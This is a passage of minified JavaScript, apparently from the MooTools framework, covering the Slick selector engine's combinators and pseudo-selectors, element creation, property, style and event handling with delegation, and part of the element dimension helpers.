a.nodeType){this.push(a,b,c,d,e,f);break}},"^":function(a,b,c,d,e,f){if(a=a.firstChild)if(1==a.nodeType)this.push(a,b,c,d,e,f);else this["combinator:+"](a,b,c,d,e,f)},"~":function(a,b,c,d,e,f){for(;a=a.nextSibling;)if(1==a.nodeType){var g=this.getUID(a);if(this.bitUniques[g])break;this.bitUniques[g]=!0;this.push(a,b,c,d,e,f)}},"++":function(a,b,c,d,e,f){this["combinator:+"](a,b,c,d,e,f);this["combinator:!+"](a,b,c,d,e,f)},"~~":function(a,b,c,d,e,f){this["combinator:~"](a,b,c,d,e,f);this["combinator:!~"](a,
b,c,d,e,f)},"!":function(a,b,c,d,e,f){for(;a=a.parentNode;)a!==this.document&&this.push(a,b,c,d,e,f)},"!>":function(a,b,c,d,e,f){a=a.parentNode;a!==this.document&&this.push(a,b,c,d,e,f)},"!+":function(a,b,c,d,e,f){for(;a=a.previousSibling;)if(1==a.nodeType){this.push(a,b,c,d,e,f);break}},"!^":function(a,b,c,d,e,f){if(a=a.lastChild)if(1==a.nodeType)this.push(a,b,c,d,e,f);else this["combinator:!+"](a,b,c,d,e,f)},"!~":function(a,b,c,d,e,f){for(;a=a.previousSibling;)if(1==a.nodeType){var g=this.getUID(a);
if(this.bitUniques[g])break;this.bitUniques[g]=!0;this.push(a,b,c,d,e,f)}}},i;for(i in g)b["combinator:"+i]=g[i];var g={empty:function(a){var b=a.firstChild;return!(b&&1==b.nodeType)&&!(a.innerText||a.textContent||"").length},not:function(a,b){return!this.matchNode(a,b)},contains:function(a,b){return-1<(a.innerText||a.textContent||"").indexOf(b)},"first-child":function(a){for(;a=a.previousSibling;)if(1==a.nodeType)return!1;return!0},"last-child":function(a){for(;a=a.nextSibling;)if(1==a.nodeType)return!1;
return!0},"only-child":function(a){for(var b=a;b=b.previousSibling;)if(1==b.nodeType)return!1;for(;a=a.nextSibling;)if(1==a.nodeType)return!1;return!0},"nth-child":b.createNTHPseudo("firstChild","nextSibling","posNTH"),"nth-last-child":b.createNTHPseudo("lastChild","previousSibling","posNTHLast"),"nth-of-type":b.createNTHPseudo("firstChild","nextSibling","posNTHType",!0),"nth-last-of-type":b.createNTHPseudo("lastChild","previousSibling","posNTHTypeLast",!0),index:function(a,b){return this["pseudo:nth-child"](a,
""+(b+1))},even:function(a){return this["pseudo:nth-child"](a,"2n")},odd:function(a){return this["pseudo:nth-child"](a,"2n+1")},"first-of-type":function(a){for(var b=a.nodeName;a=a.previousSibling;)if(a.nodeName==b)return!1;return!0},"last-of-type":function(a){for(var b=a.nodeName;a=a.nextSibling;)if(a.nodeName==b)return!1;return!0},"only-of-type":function(a){for(var b=a,c=a.nodeName;b=b.previousSibling;)if(b.nodeName==c)return!1;for(;a=a.nextSibling;)if(a.nodeName==c)return!1;return!0},enabled:function(a){return!a.disabled},
disabled:function(a){return a.disabled},checked:function(a){return a.checked||a.selected},focus:function(a){return this.isHTMLDocument&&this.document.activeElement===a&&(a.href||a.type||this.hasAttribute(a,"tabindex"))},root:function(a){return a===this.root},selected:function(a){return a.selected}},j;for(j in g)b["pseudo:"+j]=g[j];j=b.attributeGetters={"for":function(){return"htmlFor"in this?this.htmlFor:this.getAttribute("for")},href:function(){return"href"in this?this.getAttribute("href",2):this.getAttribute("href")},
style:function(){return this.style?this.style.cssText:this.getAttribute("style")},tabindex:function(){var a=this.getAttributeNode("tabindex");return a&&a.specified?a.nodeValue:null},type:function(){return this.getAttribute("type")},maxlength:function(){var a=this.getAttributeNode("maxLength");return a&&a.specified?a.nodeValue:null}};j.MAXLENGTH=j.maxLength=j.maxlength;var m=b.Slick=this.Slick||{};m.version="1.1.7";m.search=function(a,c,d){return b.search(a,c,d)};m.find=function(a,c){return b.search(a,
c,null,!0)};m.contains=function(a,c){b.setDocument(a);return b.contains(a,c)};m.getAttribute=function(a,c){b.setDocument(a);return b.getAttribute(a,c)};m.hasAttribute=function(a,c){b.setDocument(a);return b.hasAttribute(a,c)};m.match=function(a,c){if(!a||!c)return!1;if(!c||c===a)return!0;b.setDocument(a);return b.matchNode(a,c)};m.defineAttributeGetter=function(a,c){b.attributeGetters[a]=c;return this};m.lookupAttributeGetter=function(a){return b.attributeGetters[a]};m.definePseudo=function(a,c){b["pseudo:"+
a]=function(a,b){return c.call(a,b)};return this};m.lookupPseudo=function(a){var c=b["pseudo:"+a];return c?function(a){return c.call(this,a)}:null};m.override=function(a,c){b.override(a,c);return this};m.isXML=b.isXML;m.uidOf=function(a){return b.getUIDHTML(a)};this.Slick||(this.Slick=m)}).apply("undefined"!=typeof exports?exports:this);
var Element=function(b,a){var c=Element.Constructors[b];if(c)return c(a);if("string"!=typeof b)return document.id(b).set(a);a||(a={});if(!/^[\w-]+$/.test(b)){c=Slick.parse(b).expressions[0][0];b="*"==c.tag?"div":c.tag;c.id&&null==a.id&&(a.id=c.id);var d=c.attributes;if(d)for(var e,f=0,g=d.length;f<g;f++)e=d[f],null==a[e.key]&&(null!=e.value&&"="==e.operator?a[e.key]=e.value:!e.value&&!e.operator&&(a[e.key]=!0));c.classList&&null==a["class"]&&(a["class"]=c.classList.join(" "))}return document.newElement(b,
a)};Browser.Element&&(Element.prototype=Browser.Element.prototype,Element.prototype._fireEvent=function(b){return function(a,c){return b.call(this,a,c)}}(Element.prototype.fireEvent));(new Type("Element",Element)).mirror(function(b){if(!Array.prototype[b]){var a={};a[b]=function(){for(var a=[],d=arguments,e=true,f=0,g=this.length;f<g;f++)var i=this[f],i=a[f]=i[b].apply(i,d),e=e&&typeOf(i)=="element";return e?new Elements(a):a};Elements.implement(a)}});
Browser.Element||(Element.parent=Object,Element.Prototype={$constructor:Element,$family:Function.from("element").hide()},Element.mirror(function(b,a){Element.Prototype[b]=a}));Element.Constructors={};
var IFrame=new Type("IFrame",function(){var b=Array.link(arguments,{properties:Type.isObject,iframe:function(a){return a!=null}}),a=b.properties||{},c;b.iframe&&(c=document.id(b.iframe));var d=a.onload||function(){};delete a.onload;a.id=a.name=[a.id,a.name,c?c.id||c.name:"IFrame_"+String.uniqueID()].pick();c=new Element(c||"iframe",a);b=function(){d.call(c.contentWindow)};window.frames[a.id]?b():c.addListener("load",b);return c}),Elements=this.Elements=function(b){if(b&&b.length)for(var a={},c,d=
0;c=b[d++];){var e=Slick.uidOf(c);if(!a[e]){a[e]=true;this.push(c)}}};Elements.prototype={length:0};Elements.parent=Array;
(new Type("Elements",Elements)).implement({filter:function(b,a){return!b?this:new Elements(Array.filter(this,typeOf(b)=="string"?function(a){return a.match(b)}:b,a))}.protect(),push:function(){for(var b=this.length,a=0,c=arguments.length;a<c;a++){var d=document.id(arguments[a]);d&&(this[b++]=d)}return this.length=b}.protect(),unshift:function(){for(var b=[],a=0,c=arguments.length;a<c;a++){var d=document.id(arguments[a]);d&&b.push(d)}return Array.prototype.unshift.apply(this,b)}.protect(),concat:function(){for(var b=
new Elements(this),a=0,c=arguments.length;a<c;a++){var d=arguments[a];Type.isEnumerable(d)?b.append(d):b.push(d)}return b}.protect(),append:function(b){for(var a=0,c=b.length;a<c;a++)this.push(b[a]);return this}.protect(),empty:function(){for(;this.length;)delete this[--this.length];return this}.protect()});
(function(){var b=Array.prototype.splice,a={"0":0,1:1,length:2};b.call(a,1,1);a[1]==1&&Elements.implement("splice",function(){for(var a=this.length,c=b.apply(this,arguments);a>=this.length;)delete this[a--];return c}.protect());Array.forEachMethod(function(a,b){Elements.implement(b,a)});Array.mirror(Elements);var c;try{c=document.createElement("<input name=x>").name=="x"}catch(d){}var e=function(a){return(""+a).replace(/&/g,"&amp;").replace(/"/g,"&quot;")};Document.implement({newElement:function(a,
b){if(b&&b.checked!=null)b.defaultChecked=b.checked;if(c&&b){a="<"+a;b.name&&(a=a+(' name="'+e(b.name)+'"'));b.type&&(a=a+(' type="'+e(b.type)+'"'));a=a+">";delete b.name;delete b.type}return this.id(this.createElement(a)).set(b)}})})();
(function(){Slick.uidOf(window);Slick.uidOf(document);Document.implement({newTextNode:function(a){return this.createTextNode(a)},getDocument:function(){return this},getWindow:function(){return this.window},id:function(){var a={string:function(b,c,d){return(b=Slick.find(d,"#"+b.replace(/(\W)/g,"\\$1")))?a.element(b,c):null},element:function(a,b){Slick.uidOf(a);if(!b&&!a.$family&&!/^(?:object|embed)$/i.test(a.tagName)){var c=a.fireEvent;a._fireEvent=function(a,b){return c(a,b)};Object.append(a,Element.Prototype)}return a},
object:function(b,c,d){return b.toElement?a.element(b.toElement(d),c):null}};a.textnode=a.whitespace=a.window=a.document=function(a){return a};return function(b,c,d){if(b&&b.$family&&b.uniqueNumber)return b;var e=typeOf(b);return a[e]?a[e](b,c,d||document):null}}()});window.$==null&&Window.implement("$",function(a,b){return document.id(a,b,this.document)});Window.implement({getDocument:function(){return this.document},getWindow:function(){return this}});[Document,Element].invoke("implement",{getElements:function(a){return Slick.search(this,
a,new Elements)},getElement:function(a){return document.id(Slick.find(this,a))}});var b={contains:function(a){return Slick.contains(this,a)}};document.contains||Document.implement(b);document.createElement("div").contains||Element.implement(b);var a=function(a,b){if(!a)return b;for(var a=Object.clone(Slick.parse(a)),c=a.expressions,d=c.length;d--;)c[d][0].combinator=b;return a};Object.forEach({getNext:"~",getPrevious:"!~",getParent:"!"},function(b,c){Element.implement(c,function(c){return this.getElement(a(c,
b))})});Object.forEach({getAllNext:"~",getAllPrevious:"!~",getSiblings:"~~",getChildren:">",getParents:"!"},function(b,c){Element.implement(c,function(c){return this.getElements(a(c,b))})});Element.implement({getFirst:function(b){return document.id(Slick.search(this,a(b,">"))[0])},getLast:function(b){return document.id(Slick.search(this,a(b,">")).getLast())},getWindow:function(){return this.ownerDocument.window},getDocument:function(){return this.ownerDocument},getElementById:function(a){return document.id(Slick.find(this,
"#"+(""+a).replace(/(\W)/g,"\\$1")))},match:function(a){return!a||Slick.match(this,a)}});window.$$==null&&Window.implement("$$",function(a){if(arguments.length==1){if(typeof a=="string")return Slick.search(this.document,a,new Elements);if(Type.isEnumerable(a))return new Elements(a)}return new Elements(arguments)});var c={before:function(a,b){var c=b.parentNode;c&&c.insertBefore(a,b)},after:function(a,b){var c=b.parentNode;c&&c.insertBefore(a,b.nextSibling)},bottom:function(a,b){b.appendChild(a)},
top:function(a,b){b.insertBefore(a,b.firstChild)}};c.inside=c.bottom;var d={},e={},f={};Array.forEach(["type","value","defaultValue","accessKey","cellPadding","cellSpacing","colSpan","frameBorder","rowSpan","tabIndex","useMap"],function(a){f[a.toLowerCase()]=a});f.html="innerHTML";f.text=document.createElement("div").textContent==null?"innerText":"textContent";Object.forEach(f,function(a,b){e[b]=function(b,c){b[a]=c};d[b]=function(b){return b[a]}});Array.forEach(["compact","nowrap","ismap","declare",
"noshade","checked","disabled","readOnly","multiple","selected","noresize","defer","defaultChecked","autofocus","controls","autoplay","loop"],function(a){var b=a.toLowerCase();e[b]=function(b,c){b[a]=!!c};d[b]=function(b){return!!b[a]}});Object.append(e,{"class":function(a,b){"className"in a?a.className=b||"":a.setAttribute("class",b)},"for":function(a,b){"htmlFor"in a?a.htmlFor=b:a.setAttribute("for",b)},style:function(a,b){a.style?a.style.cssText=b:a.setAttribute("style",b)},value:function(a,b){a.value=
b!=null?b:""}});d["class"]=function(a){return"className"in a?a.className||null:a.getAttribute("class")};b=document.createElement("button");try{b.type="button"}catch(g){}if(b.type!="button")e.type=function(a,b){a.setAttribute("type",b)};b=null;b=document.createElement("input");b.value="t";b.type="submit";if(b.value!="t")e.type=function(a,b){var c=a.value;a.type=b;a.value=c};var b=null,i=function(a){a.random="attribute";return a.getAttribute("random")=="attribute"}(document.createElement("div"));Element.implement({setProperty:function(a,
b){var c=e[a.toLowerCase()];if(c)c(this,b);else{if(i)var d=this.retrieve("$attributeWhiteList",{});if(b==null){this.removeAttribute(a);i&&delete d[a]}else{this.setAttribute(a,""+b);i&&(d[a]=true)}}return this},setProperties:function(a){for(var b in a)this.setProperty(b,a[b]);return this},getProperty:function(a){var b=d[a.toLowerCase()];if(b)return b(this);if(i){var c=this.getAttributeNode(a),b=this.retrieve("$attributeWhiteList",{});if(!c)return null;if(c.expando&&!b[a]){c=this.outerHTML;if(c.substr(0,
c.search(/\/?['"]?>(?![^<]*<['"])/)).indexOf(a)<0)return null;b[a]=true}}b=Slick.getAttribute(this,a);return!b&&!Slick.hasAttribute(this,a)?null:b},getProperties:function(){var a=Array.from(arguments);return a.map(this.getProperty,this).associate(a)},removeProperty:function(a){return this.setProperty(a,null)},removeProperties:function(){Array.each(arguments,this.removeProperty,this);return this},set:function(a,b){var c=Element.Properties[a];c&&c.set?c.set.call(this,b):this.setProperty(a,b)}.overloadSetter(),
get:function(a){var b=Element.Properties[a];return b&&b.get?b.get.apply(this):this.getProperty(a)}.overloadGetter(),erase:function(a){var b=Element.Properties[a];b&&b.erase?b.erase.apply(this):this.removeProperty(a);return this},hasClass:function(a){return this.className.clean().contains(a," ")},addClass:function(a){if(!this.hasClass(a))this.className=(this.className+" "+a).clean();return this},removeClass:function(a){this.className=this.className.replace(RegExp("(^|\\s)"+a+"(?:\\s|$)"),"$1");return this},
toggleClass:function(a,b){b==null&&(b=!this.hasClass(a));return b?this.addClass(a):this.removeClass(a)},adopt:function(){var a=this,b,c=Array.flatten(arguments),d=c.length;d>1&&(a=b=document.createDocumentFragment());for(var e=0;e<d;e++){var f=document.id(c[e],true);f&&a.appendChild(f)}b&&this.appendChild(b);return this},appendText:function(a,b){return this.grab(this.getDocument().newTextNode(a),b)},grab:function(a,b){c[b||"bottom"](document.id(a,true),this);return this},inject:function(a,b){c[b||
"bottom"](this,document.id(a,true));return this},replaces:function(a){a=document.id(a,true);a.parentNode.replaceChild(this,a);return this},wraps:function(a,b){a=document.id(a,true);return this.replaces(a).grab(a,b)},getSelected:function(){this.selectedIndex;return new Elements(Array.from(this.options).filter(function(a){return a.selected}))},toQueryString:function(){var a=[];this.getElements("input, select, textarea").each(function(b){var c=b.type;if(b.name&&!b.disabled&&!(c=="submit"||c=="reset"||
c=="file"||c=="image")){c=b.get("tag")=="select"?b.getSelected().map(function(a){return document.id(a).get("value")}):(c=="radio"||c=="checkbox")&&!b.checked?null:b.get("value");Array.from(c).each(function(c){typeof c!="undefined"&&a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(c))})}});return a.join("&")}});var j={},m={},h=function(a){return m[a]||(m[a]={})},k=function(a){var b=a.uniqueNumber;a.removeEvents&&a.removeEvents();a.clearAttributes&&a.clearAttributes();if(b!=null){delete j[b];
delete m[b]}return a},o={input:"checked",option:"selected",textarea:"value"};Element.implement({destroy:function(){var a=k(this).getElementsByTagName("*");Array.each(a,k);Element.dispose(this);return null},empty:function(){Array.from(this.childNodes).each(Element.dispose);return this},dispose:function(){return this.parentNode?this.parentNode.removeChild(this):this},clone:function(a,b){var a=a!==false,c=this.cloneNode(a),d=[c],e=[this],f;if(a){d.append(Array.from(c.getElementsByTagName("*")));e.append(Array.from(this.getElementsByTagName("*")))}for(f=
d.length;f--;){var k=d[f],g=e[f];b||k.removeAttribute("id");if(k.clearAttributes){k.clearAttributes();k.mergeAttributes(g);k.removeAttribute("uniqueNumber");if(k.options)for(var j=k.options,m=g.options,h=j.length;h--;)j[h].selected=m[h].selected}(j=o[g.tagName.toLowerCase()])&&g[j]&&(k[j]=g[j])}if(Browser.ie){d=c.getElementsByTagName("object");e=this.getElementsByTagName("object");for(f=d.length;f--;)d[f].outerHTML=e[f].outerHTML}return document.id(c)}});[Element,Window,Document].invoke("implement",
{addListener:function(a,b,c){if(a=="unload")var d=b,e=this,b=function(){e.removeListener("unload",b);d()};else j[Slick.uidOf(this)]=this;this.addEventListener?this.addEventListener(a,b,!!c):this.attachEvent("on"+a,b);return this},removeListener:function(a,b,c){this.removeEventListener?this.removeEventListener(a,b,!!c):this.detachEvent("on"+a,b);return this},retrieve:function(a,b){var c=h(Slick.uidOf(this)),d=c[a];b!=null&&d==null&&(d=c[a]=b);return d!=null?d:null},store:function(a,b){h(Slick.uidOf(this))[a]=
b;return this},eliminate:function(a){delete h(Slick.uidOf(this))[a];return this}});window.attachEvent&&!window.addEventListener&&window.addListener("unload",function(){Object.each(j,k);window.CollectGarbage&&CollectGarbage()});Element.Properties={};Element.Properties.style={set:function(a){this.style.cssText=a},get:function(){return this.style.cssText},erase:function(){this.style.cssText=""}};Element.Properties.tag={get:function(){return this.tagName.toLowerCase()}};Element.Properties.html={set:function(a){a==
null?a="":typeOf(a)=="array"&&(a=a.join(""));this.innerHTML=a},erase:function(){this.innerHTML=""}};b=document.createElement("div");b.innerHTML="<nav></nav>";var q=b.childNodes.length==1;if(!q)for(var b=["abbr","article","aside","audio","canvas","datalist","details","figcaption","figure","footer","header","hgroup","mark","meter","nav","output","progress","section","summary","time","video"],u=document.createDocumentFragment(),r=b.length;r--;)u.createElement(b[r]);b=null;b=Function.attempt(function(){document.createElement("table").innerHTML=
"<tr><td></td></tr>";return true});r=document.createElement("tr");r.innerHTML="<td></td>";var w=r.innerHTML=="<td></td>",r=null;if(!b||!w||!q)Element.Properties.html.set=function(a){var b={table:[1,"<table>","</table>"],select:[1,"<select>","</select>"],tbody:[2,"<table><tbody>","</tbody></table>"],tr:[3,"<table><tbody><tr>","</tr></tbody></table>"]};b.thead=b.tfoot=b.tbody;return function(c){var d=b[this.get("tag")];!d&&!q&&(d=[0,"",""]);if(!d)return a.call(this,c);var e=d[0],f=document.createElement("div"),
k=f;q||u.appendChild(f);for(f.innerHTML=[d[1],c,d[2]].flatten().join("");e--;)k=k.firstChild;this.empty().adopt(k.childNodes);q||u.removeChild(f)}}(Element.Properties.html.set);b=document.createElement("form");b.innerHTML="<select><option>s</option></select>";if(b.firstChild.value!="s")Element.Properties.value={set:function(a){if(this.get("tag")!="select")return this.setProperty("value",a);for(var b=this.getElements("option"),c=0;c<b.length;c++){var d=b[c],e=d.getAttributeNode("value");if((e&&e.specified?
d.value:d.get("text"))==a)return d.selected=true}},get:function(){var a=this,b=a.get("tag");if(b!="select"&&b!="option")return this.getProperty("value");if(b=="select"&&!(a=a.getSelected()[0]))return"";return(b=a.getAttributeNode("value"))&&b.specified?a.value:a.get("text")}};b=null;if(document.createElement("div").getAttributeNode("id"))Element.Properties.id={set:function(a){this.id=this.getAttributeNode("id").value=a},get:function(){return this.id||null},erase:function(){this.id=this.getAttributeNode("id").value=
""}}})();
(function(){var b=document.html,a=document.createElement("div");a.style.color="red";a.style.color=null;var c=a.style.color=="red",a=null;Element.Properties.styles={set:function(a){this.setStyles(a)}};var a=b.style.opacity!=null,d=b.style.filter!=null,e=/alpha\(opacity=([\d.]+)\)/i,f=a?function(a,b){a.style.opacity=b}:d?function(a,b){var c=a.style;if(!a.currentStyle||!a.currentStyle.hasLayout)c.zoom=1;var b=b==null||b==1?"":"alpha(opacity="+(b*100).limit(0,100).round()+")",d=c.filter||a.getComputedStyle("filter")||"";
c.filter=e.test(d)?d.replace(e,b):d+b;c.filter||c.removeAttribute("filter")}:function(a,b){a.store("$opacity",b);a.style.visibility=b>0||b==null?"visible":"hidden"},g=a?function(a){a=a.style.opacity||a.getComputedStyle("opacity");return a==""?1:a.toFloat()}:d?function(a){var a=a.style.filter||a.getComputedStyle("filter"),b;a&&(b=a.match(e));return b==null||a==null?1:b[1]/100}:function(a){var b=a.retrieve("$opacity");b==null&&(b=a.style.visibility=="hidden"?0:1);return b},i=b.style.cssFloat==null?
"styleFloat":"cssFloat";Element.implement({getComputedStyle:function(a){if(this.currentStyle)return this.currentStyle[a.camelCase()];var b=Element.getDocument(this).defaultView;return(b=b?b.getComputedStyle(this,null):null)?b.getPropertyValue(a==i?"float":a.hyphenate()):null},setStyle:function(a,b){if(a=="opacity"){b!=null&&(b=parseFloat(b));f(this,b);return this}a=(a=="float"?i:a).camelCase();if(typeOf(b)!="string")var d=(Element.Styles[a]||"@").split(" "),b=Array.from(b).map(function(a,b){return!d[b]?
"":typeOf(a)=="number"?d[b].replace("@",Math.round(a)):a}).join(" ");else b==""+Number(b)&&(b=Math.round(b));this.style[a]=b;(b==""||b==null)&&c&&this.style.removeAttribute&&this.style.removeAttribute(a);return this},getStyle:function(a){if(a=="opacity")return g(this);var a=(a=="float"?i:a).camelCase(),b=this.style[a];if(!b||a=="zIndex"){var b=[],c;for(c in Element.ShortStyles)if(a==c){for(var d in Element.ShortStyles[c])b.push(this.getStyle(d));return b.join(" ")}b=this.getComputedStyle(a)}if(b){b=
""+b;(c=b.match(/rgba?\([\d\s,]+\)/))&&(b=b.replace(c[0],c[0].rgbToHex()))}if(Browser.ie&&isNaN(parseFloat(b))){if(/^(height|width)$/.test(a)){var e=0;(a=="width"?["left","right"]:["top","bottom"]).each(function(a){e=e+(this.getStyle("border-"+a+"-width").toInt()+this.getStyle("padding-"+a).toInt())},this);return this["offset"+a.capitalize()]-e+"px"}if(Browser.opera&&(""+b).indexOf("px")!=-1)return b;if(/^border(.+)Width|margin|padding/.test(a))return"0px"}return b},setStyles:function(a){for(var b in a)this.setStyle(b,
a[b]);return this},getStyles:function(){var a={};Array.flatten(arguments).each(function(b){a[b]=this.getStyle(b)},this);return a}});Element.Styles={left:"@px",top:"@px",bottom:"@px",right:"@px",width:"@px",height:"@px",maxWidth:"@px",maxHeight:"@px",minWidth:"@px",minHeight:"@px",backgroundColor:"rgb(@, @, @)",backgroundPosition:"@px @px",color:"rgb(@, @, @)",fontSize:"@px",letterSpacing:"@px",lineHeight:"@px",clip:"rect(@px @px @px @px)",margin:"@px @px @px @px",padding:"@px @px @px @px",border:"@px @ rgb(@, @, @) @px @ rgb(@, @, @) @px @ rgb(@, @, @)",
borderWidth:"@px @px @px @px",borderStyle:"@ @ @ @",borderColor:"rgb(@, @, @) rgb(@, @, @) rgb(@, @, @) rgb(@, @, @)",zIndex:"@",zoom:"@",fontWeight:"@",textIndent:"@px",opacity:"@"};Element.ShortStyles={margin:{},padding:{},border:{},borderWidth:{},borderStyle:{},borderColor:{}};["Top","Right","Bottom","Left"].each(function(a){var b=Element.ShortStyles,c=Element.Styles;["margin","padding"].each(function(d){var e=d+a;b[d][e]=c[e]="@px"});var d="border"+a;b.border[d]=c[d]="@px @ rgb(@, @, @)";var e=
d+"Width",f=d+"Style",g=d+"Color";b[d]={};b.borderWidth[e]=b[d][e]=c[e]="@px";b.borderStyle[f]=b[d][f]=c[f]="@";b.borderColor[g]=b[d][g]=c[g]="rgb(@, @, @)"})})();
(function(){Element.Properties.events={set:function(a){this.addEvents(a)}};[Element,Window,Document].invoke("implement",{addEvent:function(a,b,d){var e=this.retrieve("events",{});e[a]||(e[a]={keys:[],values:[]});if(e[a].keys.contains(b))return this;e[a].keys.push(b);var f=a,g=Element.Events[a],i=b,j=this;if(g){g.onAdd&&g.onAdd.call(this,b,a);g.condition&&(i=function(d){return g.condition.call(this,d,a)?b.call(this,d):true});g.base&&(f=Function.from(g.base).call(this,a))}var m=function(){return b.call(j)},
h=Element.NativeEvents[f];if(h){h==2&&(m=function(a){a=new DOMEvent(a,j.getWindow());i.call(j,a)===false&&a.stop()});this.addListener(f,m,d)}e[a].values.push(m);return this},removeEvent:function(a,b,d){var e=this.retrieve("events");if(!e||!e[a])return this;var f=e[a],g=f.keys.indexOf(b);if(g==-1)return this;e=f.values[g];delete f.keys[g];delete f.values[g];if(f=Element.Events[a]){f.onRemove&&f.onRemove.call(this,b,a);f.base&&(a=Function.from(f.base).call(this,a))}return Element.NativeEvents[a]?this.removeListener(a,
e,d):this},addEvents:function(a){for(var b in a)this.addEvent(b,a[b]);return this},removeEvents:function(a){var b;if(typeOf(a)=="object"){for(b in a)this.removeEvent(b,a[b]);return this}var d=this.retrieve("events");if(!d)return this;if(a){if(d[a]){d[a].keys.each(function(b){this.removeEvent(a,b)},this);delete d[a]}}else{for(b in d)this.removeEvents(b);this.eliminate("events")}return this},fireEvent:function(a,b,d){var e=this.retrieve("events");if(!e||!e[a])return this;b=Array.from(b);e[a].keys.each(function(a){d?
a.delay(d,this,b):a.apply(this,b)},this);return this},cloneEvents:function(a,b){var a=document.id(a),d=a.retrieve("events");if(!d)return this;if(b)d[b]&&d[b].keys.each(function(a){this.addEvent(b,a)},this);else for(var e in d)this.cloneEvents(a,e);return this}});Element.NativeEvents={click:2,dblclick:2,mouseup:2,mousedown:2,contextmenu:2,mousewheel:2,DOMMouseScroll:2,mouseover:2,mouseout:2,mousemove:2,selectstart:2,selectend:2,keydown:2,keypress:2,keyup:2,orientationchange:2,touchstart:2,touchmove:2,
touchend:2,touchcancel:2,gesturestart:2,gesturechange:2,gestureend:2,focus:2,blur:2,change:2,reset:2,select:2,submit:2,paste:2,input:2,load:2,unload:1,beforeunload:2,resize:1,move:1,DOMContentLoaded:1,readystatechange:1,error:1,abort:1,scroll:1};Element.Events={mousewheel:{base:Browser.firefox?"DOMMouseScroll":"mousewheel"}};if("onmouseenter"in document.documentElement)Element.NativeEvents.mouseenter=Element.NativeEvents.mouseleave=2;else{var b=function(a){a=a.relatedTarget;return a==null?true:!a?
false:a!=this&&a.prefix!="xul"&&typeOf(this)!="document"&&!this.contains(a)};Element.Events.mouseenter={base:"mouseover",condition:b};Element.Events.mouseleave={base:"mouseout",condition:b}}if(!window.addEventListener){Element.NativeEvents.propertychange=2;Element.Events.change={base:function(){var a=this.type;return this.get("tag")=="input"&&(a=="radio"||a=="checkbox")?"propertychange":"change"},condition:function(a){return this.type!="radio"||a.event.propertyName=="checked"&&this.checked}}}})();
(function(){var b,a=!!window.addEventListener;Element.NativeEvents.focusin=Element.NativeEvents.focusout=2;var c=function(a,b,c,d,e){for(;e&&e!=a;){if(b(e,d))return c.call(e,d,e);e=document.id(e.parentNode)}},d={mouseenter:{base:"mouseover"},mouseleave:{base:"mouseout"},focus:{base:"focus"+(a?"":"in"),capture:true},blur:{base:a?"blur":"focusout",capture:true}},e=function(a){return{base:"focusin",remove:function(b,c){var d=b.retrieve("$delegation:"+a+"listeners",{})[c];if(d&&d.forms)for(var e=d.forms.length;e--;)d.forms[e].removeEvent(a,
d.fns[e])},listen:function(b,d,e,f,g,i){if(f=g.get("tag")=="form"?g:f.target.getParent("form")){var r=b.retrieve("$delegation:"+a+"listeners",{}),w=r[i]||{forms:[],fns:[]},l=w.forms,s=w.fns;if(l.indexOf(f)==-1){l.push(f);l=function(a){c(b,d,e,a,g)};f.addEvent(a,l);s.push(l);r[i]=w;b.store("$delegation:"+a+"listeners",r)}}}}},f=function(a){return{base:"focusin",listen:function(b,d,e,f,g){var i={blur:function(){this.removeEvents(i)}};i[a]=function(a){c(b,d,e,a,g)};f.target.addEvents(i)}}};a||Object.append(d,
{submit:e("submit"),reset:e("reset"),change:f("change"),select:f("select")});var a=Element.prototype,g=a.addEvent,i=a.removeEvent,a=function(a,b){return function(c,d,e){if(c.indexOf(":relay")==-1)return a.call(this,c,d,e);var f=Slick.parse(c).expressions[0][0];if(f.pseudos[0].key!="relay")return a.call(this,c,d,e);var g=f.tag;f.pseudos.slice(1).each(function(a){g=g+(":"+a.key+(a.value?"("+a.value+")":""))});a.call(this,c,d);return b.call(this,g,f.pseudos[0].value,d)}};b=function(a,c,e,f){var g=this.retrieve("$delegates",
{}),q=g[a];if(!q)return this;if(f){var c=a,e=q[f].delegator,u=d[a]||{},a=u.base||c;u.remove&&u.remove(this,f);delete q[f];g[c]=q;return i.call(this,a,e)}if(e)for(u in q){f=q[u];if(f.match==c&&f.fn==e)return b.call(this,a,c,e,u)}else for(u in q){f=q[u];f.match==c&&b.call(this,a,c,f.fn,u)}return this};[Element,Window,Document].invoke("implement",{addEvent:a(g,function(a,b,e){var f=this.retrieve("$delegates",{}),i=f[a];if(i)for(var q in i)if(i[q].fn==e&&i[q].match==b)return this;q=a;var u=b,r=d[a]||
{},a=r.base||q,b=function(a){return Slick.match(a,u)},w=Element.Events[q];if(w&&w.condition)var l=b,s=w.condition,b=function(b,c){return l(b,c)&&s.call(b,c,a)};var p=this,n=String.uniqueID(),w=r.listen?function(a,c){if(!c&&a&&a.target)c=a.target;c&&r.listen(p,b,e,a,c,n)}:function(a,d){if(!d&&a&&a.target)d=a.target;d&&c(p,b,e,a,d)};i||(i={});i[n]={match:u,fn:e,delegator:w};f[q]=i;return g.call(this,a,w,r.capture)}),removeEvent:a(i,b)})})();
(function(){function b(a){return h(a,"-moz-box-sizing")=="border-box"}function a(a){return h(a,"border-top-width").toInt()||0}function c(a){return h(a,"border-left-width").toInt()||0}function d(a){return/^(?:body|html)$/i.test(a.tagName)}function e(a){a=a.getDocument();return!a.compatMode||a.compatMode=="CSS1Compat"?a.html:a.body}var f=document.createElement("div"),g=document.createElement("div");f.style.height="0";f.appendChild(g);var i=g.offsetParent===f,f=g=null,j=function(a){return h(a,"position")!=
"static"||d(a)},m=function(a){return j(a)||/^(?:table|td|th)$/i.test(a.tagName)};Element.implement({scrollTo:function(a,b){if(d(this))this.getWindow().scrollTo(a,b);else{this.scrollLeft=a;this.scrollTop=b}return this},getSize:function(){return d(this)?this.getWindow().getSize():{x:this.offsetWidth,y:this.offsetHeight}},getScrollSize:function(){return d(this)?this.getWindow().getScrollSize():{x:this.scrollWidth,y:this.scrollHeight}},getScroll:function(){return d(this)?this.getWindow().getScroll():
{x:this.scrollLeft,y:this.scrollTop}},getScrolls:function(){for(var a=this.parentNode,b={x:0,y:0};a&&!d(a);){b.x=b.x+a.scrollLeft;b.y=b.y+a.scrollTop;a=a.parentNode}return b},getOffsetParent:i?function(){var a=this;if(d(a)||h(a,"position")=="fixed")return null;for(var b=h(a,"position")=="static"?m:j;a=a.parentNode;)if(b(a))return a;return null}:function(){if(d(this)||h(this,"position")=="fixed")return null;try{return this.offsetParent}catch(a){}return null},getOffsets:function(){if(this.getBoundingClientRect&&
